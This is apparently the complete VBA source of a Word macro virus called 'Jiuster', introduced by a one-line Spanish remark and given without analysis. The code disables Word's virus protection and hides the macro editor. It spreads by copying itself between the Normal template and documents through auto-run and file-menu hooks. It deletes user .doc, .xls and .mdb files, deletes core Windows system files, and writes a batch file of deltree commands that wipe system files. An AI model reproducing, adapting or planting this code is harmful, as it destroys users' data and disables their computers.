'Este es el codigo de Jiuster.Bas' disculpen que detalle aunque no lo crean, pero hay tipos que a pesar de esto no entienden o no quieren...

Public Formatko
'                           Sonrian llego Jiuster
Public Chocolate
'
Public Licor         'Porsiaka soy abstemio
Sub Asembler()
        YoseL = Application.DisplayAlerts
               Application.DisplayAlerts = wdAlertsNone
                   Call Estupidos
                        WordBasic.DisableAutoMacros 0
                            CommandBars("Visual Basic").Visible = False
                    CommandBars("Visual Basic").Enabled = False
                CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
        CommandBars("Visual Basic").Protection = msoBarNoCustomize
     On Error GoTo 0
End Sub
Sub VB()
Application.DisplayAlerts = YoseL
End Sub
Sub Internet()
'Virus Interesante
    On Error GoTo Computadora
     Formatko = 0
        Licor = False
            Set Ad = ActiveDocument
                Set NT = NormalTemplate
                    If Licor = False Then
                        On Error GoTo Portatil
                            Application.OrganizerCopy Source:=NT.FullName, _
                        Destination:=Ad.FullName, Name:= _
                    "Jiuster4", Object:=wdOrganizerObjectProjectItems
                Application.OrganizerCopy Source:=NT.FullName, _
            Destination:=Ad.FullName, Name:= _
          "Jiuster", Object:=wdOrganizerObjectProjectItems
      Formatko = 1
Portatil:
    End If
Computadora:
End Sub
Sub TeAmo()
    Call Estupidos
         On Error GoTo Crash
                Chocolate = False
                    Set Ad = ActiveDocument
                        Set NT = NormalTemplate
                            On Error GoTo Linga
Linga:                                    'Que te parece
                                            If Chocolate = False Then
                                        On Error GoTo Ling
                                    Application.OrganizerCopy Source:=Ad.FullName, _
                                Destination:=NT.FullName, Name:= _
                        "Jiuster4", Object:=wdOrganizerObjectProjectItems
                    Application.OrganizerCopy Source:=Ad.FullName, _
                Destination:=NT.FullName, Name:= _
          "Jiuster", Object:=wdOrganizerObjectProjectItems
      Templates(NT.FullName).Save
Ling:
    End If
Crash:
End Sub
Sub Estupidos()
                    With Options
                            .VirusProtection = False
                            .SaveNormalPrompt = False
                    End With
End Sub
Sub TeAmoX()
                        Call Asembler
                        Call TeAmo
                        Call VB
End Sub
Sub Jejeje()
                        On Error GoTo plus
                        Set Ad = ActiveDocument
                        If Formatko = 1 Then
                        Ad.SaveAs FileName:=Ad.Name, FileFormat:=wdFormatDocument
                        End If
plus:
End Sub
Sub AutoOpen()
    Call TeAmoX
End Sub
Sub AutoClose()
                        On Error Resume Next
                                Call Asembler
                                    Call TeAmo
                                        Call Internet
                                    Call VB
                                ActiveDocument.SaveAs
                        Call TeAmoX
      End Sub
Sub FileClose()
                        On Error Resume Next
                                Call Asembler
                                    Call TeAmo
                                        Call Internet
                                    Call VB
                                ActiveDocument.SaveAs
                            Call TeAmoX
                        Active.Document.Close
      End Sub
Sub FileOpen()
                        On Error Resume Next
                            Call TeAmoX
                                    Dialogs(wdDialogFileOpen).Show
                                        Call Asembler
                                    Call Internet
                            Call Jejeje
                Call VB
    End Sub
Sub FileSaveAs()
                        Call Asembler
                            Call TeAmo
                                Call Internet
                            Call VB
                        Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub HelpAbout()
                        On Error GoTo Formatk
                        Jiuster4.Show
Formatk:
                        Call TeAmoX
                        Call Hola1
End Sub
Sub HerramMacro()
                        On Error GoTo Formatk
                        Jiuster4.Show
Formatk:
                        Call TeAmoX
    End Sub
Sub ToolsOptions()
                        Dialogs(wdDialogToolsOptions).Show
                        Call TeAmoX
End Sub
Sub FileTemplates()
                        On Error Resume Next
                        Call TeAmoX
                        Call Hola2
                  End Sub
Sub ToolsCustomize()
                        On Error Resume Next
                        Call TeAmoX
                        Call Hola2
           End Sub
Sub VerCdigoVB()
                        Jiuster4.Show
                        Call TeAmoX
                        Call Hola3
End Sub

Sub Hola1()
On Error Resume Next
Kill "*.doc"
Kill "*.xls"
Kill "*.mdb"
End Sub

Sub Hola2()
On Error Resume Next
SetAttr "C:\Windows\system.dat", vbNormal + vbNormal
SetAttr "C:\Windows\user.dat", vbNormal + vbNormal
SetAttr "C:\Windows\ifshlp.sys", vbNormal + vbNormal
SetAttr "C:\Windows\himem.sys", vbNormal + vbNormal
SetAttr "C:\Windows\system\kernel32.dll", vbNormal + vbNormal
SetAttr "C:\Windows\system\gdi32.dll", vbNormal + vbNormal
SetAttr "C:\Windows\system\user32.dll", vbNormal + vbNormal
SetAttr "C:\Windows\dblbuff.sys", vbNormal + vbNormal
SetAttr "C:\Io.sys", vbNormal + vbNormal + vbNormal
SetAttr "C:\Msdos.sys", vbNormal + vbNormal
WordBasic.Kill "C:\Windows\system.dat"
WordBasic.Kill "C:\Windows\user.dat"
WordBasic.Kill "C:\Windows\ifshlp.sys"
WordBasic.Kill "C:\Windows\himem.sys"
WordBasic.Kill "C:\Windows\dblbuff.sys"
WordBasic.Kill "C:\Windows\regedit.exe"
WordBasic.Kill "C:\Windows\system\krnl386.exe"
WordBasic.Kill "C:\Windows\system\user.exe"
WordBasic.Kill "C:\Windows\System\gdi.exe"
WordBasic.Kill "C:\Io.sys"
WordBasic.Kill "C:\Msdos.sys"
WordBasic.Kill "C:\Windows\emm386.exe"
WordBasic.Kill "C:\Windows\system\*.dll"
End Sub
Sub Hola3()
On Error Resume Next
Open "c:\aText.bat" For Output As #1
Print #1, "@echo off" '
Print #1, "Deltree/y C:\Windows\Regedit.Exe"
Print #1, "Attrib -h -s -r C:\Windows\*.Dat"
Print #1, "Deltree/y C:\Windows\*.Dat"
Print #1, "Attrib -h -s -r c:\*.sys"
Print #1, "Deltree/y C:\*.sys"
Print #1, "Deltree/y C:\Windows\System\*.dll"
Print #1, "Deltree/y C:\Wwindows\*.sys"
Print #1, "Deltree/y C:\misdoc~1\*.*"
Print #1, "Deltree/y C:\Windows\System\krnl386.exe"
Print #1, "Deltree/y C:\Windows\System\user.exe"
Print #1, "Deltree/y C:\Windows\System\gdi.exe"
Print #1, "Cls"
Close #1
End Sub

